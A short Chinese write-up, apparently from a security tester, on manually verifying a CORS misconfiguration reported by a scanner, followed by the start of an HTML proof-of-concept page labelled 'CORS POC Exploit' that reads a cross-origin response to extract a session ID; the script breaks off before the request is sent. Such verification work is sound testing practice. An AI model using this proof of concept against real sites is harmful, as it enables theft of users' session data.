给项目接口做安全扫描的时候,发现有个CORS漏洞:
但仅仅扫出来还不够,需要手工验证一下
手工验证方式
在正常的api请求处,headers加入"origin":"http://xx.xx.xx.xx"
, 如果接口正常返回了数据且headers里包含
access-control-allow-credentials : true
access-control-allow-origin : http://xx.xx.xx.xx
就说明这个接口确实存在CORS漏洞
poc代码
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
console.log(xhttp.responseText);
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};